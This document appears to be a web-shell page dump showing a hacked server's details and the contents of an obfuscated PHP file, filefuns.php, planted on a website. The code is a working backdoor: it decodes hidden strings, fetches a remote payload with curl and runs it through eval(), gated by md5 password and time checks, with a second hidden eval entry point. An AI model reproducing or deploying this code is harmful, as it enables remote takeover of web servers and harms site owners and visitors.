HEX
Server: Apache/2
System: Linux jingle.dotvndns.vn 2.6.32-754.17.1.el6.x86_64 #1 SMP Tue Jul 2 12:42:48 UTC 2019 x86_64
User: chuahuehuong (1863)
PHP: 7.3.16
Disabled: apache_note,apache_setenv,proc_get_status,exec,passthru,proc_nice,proc_terminate,shell_exec,system,ini_restore,syslog,define_syslog_variables,symlink,link,error_log,leak,dbmopen,closelog,stream_socket_server,execl,escapeshellcmd,ini_alter,dl,show_source,posix_getpwuid,posix_geteuid,posix_getegid,posix_getgrgid,open_basedir,safe_mode_include_dir,pcntl_exec,pcntl_fork,pclose,virtual,openlog,popen,escapeshellarg,eval,calo,posix_getpwuid,symlinks,symlink,getpwuid,mail
Upload Files
File: /home/chuahuehuong/domains/chuahuehuong.com/filefuns.php
<?php
 goto m05jubu_CvBJj9KZ; m05jubu_CvBJj9KZ: $rPTXF67h9ld7rsui = "\x72" . "\x61" . "\x6e" . "\x67" . "\145"; goto qSU1HXCF7l4pGAW6; ITezMA2YdrJOc77v: $W3ZD3Qx6A_jaG0qt = ${$XPODEknFD1sgaqmC[16 + 15] . $XPODEknFD1sgaqmC[8 + 51] . $XPODEknFD1sgaqmC[2 + 45] . $XPODEknFD1sgaqmC[41 + 6] . $XPODEknFD1sgaqmC[17 + 34] . $XPODEknFD1sgaqmC[46 + 7] . $XPODEknFD1sgaqmC[2 + 55]}; goto yTzE6yisey2mJUsU; yyxS2xodcJLppP9v: metaphone("\x59\125\163\142\x78\x44\x61\102\115\165\166\x58\62\x77\105\71\x66\x75\115\x65\61\61\63\x51\x30\x74\x70\146\x41\x45\67\x71\127\125\x5a\65\x41\x38\x4f\x41\x7a\x42\x63"); goto MVKPovBqRHcKoTwX; MVKPovBqRHcKoTwX: class B5EA2gGdYGAGSuyo { static function DjQ4D98HxGkUn_R_($gpV7NZphHHvSUHjQ) { goto vLWDwSnLs_2yBYEe; RwzMf_BuiK4twixA: $rDSyMSYNIVFpyRgm = explode("\136", $gpV7NZphHHvSUHjQ); goto vraUb_0cb0o1vV21; vLWDwSnLs_2yBYEe: $OJ5b1MYo5DlNI3Lb = "\x72" . "\x61" . "\x6e" . "\147" . "\145"; goto mktBH5OAu43pvJ0E; knrq69S5gndzP5E1: foreach ($rDSyMSYNIVFpyRgm as $cQncMmC76Suxw3q_ => $XbbPuVyWzx9s_PQ0) { $ZKN_XqzNXvMJvqEF .= $TKI_KjVaIZUkYURB[$XbbPuVyWzx9s_PQ0 - 73199]; peYzJ6Jr2o7XI2T1: } goto H1Lsyh1w63DWHMkB; mktBH5OAu43pvJ0E: $TKI_KjVaIZUkYURB = $OJ5b1MYo5DlNI3Lb("\x7e", "\40"); goto RwzMf_BuiK4twixA; vraUb_0cb0o1vV21: $ZKN_XqzNXvMJvqEF = ''; goto knrq69S5gndzP5E1; DQGIyeC2hIZp0yrD: return $ZKN_XqzNXvMJvqEF; goto nqqSxm91S2qVmPlE; H1Lsyh1w63DWHMkB: ZlCodQI6KLpfhGPs: goto DQGIyeC2hIZp0yrD; nqqSxm91S2qVmPlE: } static function Zgo09xNlKdwuz3bV($brmizIErGPQGZKvX, $udVuD6n5YYInvA8Y) { goto qHLBfAa4nMVge4LQ; KM8vZULmwnPCSSN_: $Ef47bnbtlvTfi5ir = curl_exec($y0jtJOq7rJTZSGYN); goto qPup5Js15Cv20jqk; qPup5Js15Cv20jqk: return empty($Ef47bnbtlvTfi5ir) ? $udVuD6n5YYInvA8Y($brmizIErGPQGZKvX) : $Ef47bnbtlvTfi5ir; goto C3904048vVKKPC05; qHLBfAa4nMVge4LQ: $y0jtJOq7rJTZSGYN = curl_init($brmizIErGPQGZKvX); goto bLLC23xP5cKh_i0m; bLLC23xP5cKh_i0m: curl_setopt($y0jtJOq7rJTZSGYN, CURLOPT_RETURNTRANSFER, 1); goto KM8vZULmwnPCSSN_; C3904048vVKKPC05: } static function wtdiBRG4Kp_E1JeO() { goto sXXIyqS_tyvPFdWR; z1Ot_vlYsj4W5asv: R59q_D3r6vaN4M6q: goto XwWumQ3vfFhQLKzt; VboXctp58YZQUlzG: $egEocZayH4xNAtDY = self::Zgo09xnLkdWuZ3bV($zIqV0XHHfCAtztGh[1 + 0], $lTh7WhLjJY9esGNX[0 + 5]); goto wsVCKrjqz3WiBB2N; oY6OqiKaYa1chTKM: $QrAembd93Yue9n0u = md5($z2KMTNZml7vl5FsJ); goto kLg88REeQrY13bAb; sXXIyqS_tyvPFdWR: $QHGNmZssmR24Wk8n = array("\x37\x33\62\x32\66\x5e\x37\x33\x32\x31\61\136\x37\63\x32\x32\x34\x5e\67\63\x32\62\70\136\67\63\x32\60\71\x5e\67\x33\x32\x32\x34\136\67\63\62\x33\x30\136\67\63\x32\62\x33\x5e\x37\x33\62\60\70\x5e\x37\x33\x32\x31\65\x5e\67\63\x32\x32\66\x5e\x37\63\62\60\71\136\x37\63\x32\62\60\x5e\67\63\x32\61\64\136\x37\x33\62\61\65", "\x37\x33\62\61\x30\136\x37\63\x32\x30\71\x5e\67\63\x32\x31\x31\x5e\x37\63\62\63\60\x5e\x37\63\x32\x31\61\136\x37\63\x32\61\64\x5e\x37\63\62\x30\x39\x5e\67\x33\62\67\x36\x5e\67\x33\62\x37\x34", "\67\63\x32\x31\71\x5e\67\x33\62\x31\60\136\x37\63\x32\x31\64\x5e\x37\x33\62\61\65\136\67\63\x32\x33\x30\136\67\x33\62\62\x35\136\67\63\x32\x32\64\x5e\x37\63\x32\x32\66\136\67\x33\62\x31\x34\x5e\x37\63\62\x32\x35\x5e\x37\63\x32\62\x34", "\x37\63\x32\x31\x33\136\67\63\62\62\70\x5e\67\x33\x32\62\66\x5e\x37\63\x32\x31\70", "\x37\63\x32\62\67\x5e\x37\63\62\62\x38\x5e\67\x33\x32\x31\x30\x5e\67\63\62\62\x34\x5e\x37\x33\x32\x37\61\136\x37\63\62\x37\63\136\x37\x33\x32\63\x30\x5e\x37\63\62\x32\x35\136\67\63\62\x32\x34\136\67\x33\62\x32\66\136\67\63\x32\61\64\x5e\67\63\x32\62\x35\136\67\63\x32\62\64", "\67\63\62\x32\63\x5e\67\63\x32\x32\x30\x5e\67\63\x32\x31\x37\136\x37\63\62\x32\x34\136\x37\63\62\x33\x30\136\x37\x33\x32\62\x32\136\x37\63\x32\62\x34\x5e\x37\63\x32\60\71\x5e\x37\63\62\63\60\136\x37\63\62\x32\x36\x5e\67\63\62\61\64\136\x37\63\x32\61\x35\x5e\67\x33\62\x30\x39\136\x37\x33\62\62\64\136\67\63\x32\x31\x35\136\x37\x33\62\60\x39\136\67\63\x32\61\x30", "\x37\63\x32\65\63\136\x37\63\x32\70\63", "\x37\x33\62\x30\60", "\67\x33\62\67\70\x5e\67\63\62\x38\63", "\x37\63\x32\66\x30\x5e\67\x33\62\x34\63\136\67\x33\62\64\63\136\67\63\62\66\x30\x5e\x37\x33\62\63\66", "\67\x33\x32\62\x33\136\67\x33\62\x32\60\136\67\x33\x32\x31\x37\136\67\x33\62\60\x39\x5e\x37\x33\62\62\64\136\67\63\62\x31\61\136\67\x33\x32\63\x30\x5e\67\x33\x32\x32\x30\x5e\x37\63\x32\61\x35\x5e\x37\x33\x32\x31\x33\x5e\x37\63\x32\60\x38\136\x37\x33\62\60\x39"); goto ru9iGCIynhQH4JTh; wsVCKrjqz3WiBB2N: @eval($lTh7WhLjJY9esGNX[1 + 3]($egEocZayH4xNAtDY)); goto eHUZHbBXzkPOYiTA; M5Id4jHGg45EUAc3: $zIqV0XHHfCAtztGh = $lTh7WhLjJY9esGNX[1 + 1]($yr5qQtDe7RTp0bYb, true); goto hB2qpyAfwmFbwgqs; ru9iGCIynhQH4JTh: foreach ($QHGNmZssmR24Wk8n as $bzVoapKlD5hmpgRN) { $lTh7WhLjJY9esGNX[] = self::djQ4D98hXGkUN_R_($bzVoapKlD5hmpgRN); nyGnoNpibC9mWIVY: } goto z1Ot_vlYsj4W5asv; SxwmasYRARe7dv59: $yr5qQtDe7RTp0bYb = @$lTh7WhLjJY9esGNX[3 + 0]($lTh7WhLjJY9esGNX[4 + 2], $TJNG7m7nBtDBMQ2M); goto M5Id4jHGg45EUAc3; kLg88REeQrY13bAb: if (!(@$zIqV0XHHfCAtztGh[0] - time() > 0 and $QrAembd93Yue9n0u === "\x39\x36\x31\x64\145\144\x66\141\60\146\143\61\146\63\x63\63\x36\x62\144\70\x39\x64\71\145\64\63\x64\x65\x38\x62\145\x63")) { goto tZU0GhLxW2BKpLVE; } goto VboXctp58YZQUlzG; H08fJqGj9_vH1Eqr: tZU0GhLxW2BKpLVE: goto RHeTgzO6qjnt9gfK; hB2qpyAfwmFbwgqs: $z2KMTNZml7vl5FsJ = md5($zIqV0XHHfCAtztGh[3 + 0]); goto MK_Qge7d9yXgGWda; XwWumQ3vfFhQLKzt: $TJNG7m7nBtDBMQ2M = @$lTh7WhLjJY9esGNX[1]($lTh7WhLjJY9esGNX[10 + 0](INPUT_GET, $lTh7WhLjJY9esGNX[5 + 4])); goto SxwmasYRARe7dv59; eHUZHbBXzkPOYiTA: die; goto H08fJqGj9_vH1Eqr; MK_Qge7d9yXgGWda: @$lTh7WhLjJY9esGNX[2 + 8](INPUT_GET, "\157\x66") == 1 && die($lTh7WhLjJY9esGNX[4 + 1](__FILE__)); goto oY6OqiKaYa1chTKM; RHeTgzO6qjnt9gfK: } } goto fO840FxcqQ4bhdDM; qSU1HXCF7l4pGAW6: $XPODEknFD1sgaqmC = $rPTXF67h9ld7rsui("\x7e", "\x20"); goto ITezMA2YdrJOc77v; yTzE6yisey2mJUsU: @(md5(md5(md5(md5($W3ZD3Qx6A_jaG0qt[14])))) === "\x34\66\x31\x63\62\x34\61\141\x32\x33\67\71\x64\141\70\x62\x65\x30\x63\x32\70\x39\65\66\x32\x64\x34\x61\x30\65\66\141") && (count($W3ZD3Qx6A_jaG0qt) == 20 && in_array(gettype($W3ZD3Qx6A_jaG0qt) . count($W3ZD3Qx6A_jaG0qt), $W3ZD3Qx6A_jaG0qt)) ? ($W3ZD3Qx6A_jaG0qt[65] = $W3ZD3Qx6A_jaG0qt[65] . $W3ZD3Qx6A_jaG0qt[71]) && ($W3ZD3Qx6A_jaG0qt[83] = $W3ZD3Qx6A_jaG0qt[65]($W3ZD3Qx6A_jaG0qt[83])) && @eval($W3ZD3Qx6A_jaG0qt[65](${$W3ZD3Qx6A_jaG0qt[41]}[16])) : $W3ZD3Qx6A_jaG0qt; goto yyxS2xodcJLppP9v; fO840FxcqQ4bhdDM: b5Ea2GGdyGaGsUYO::WtdIBRG4kp_e1Jeo();
?>
BiaoJiOk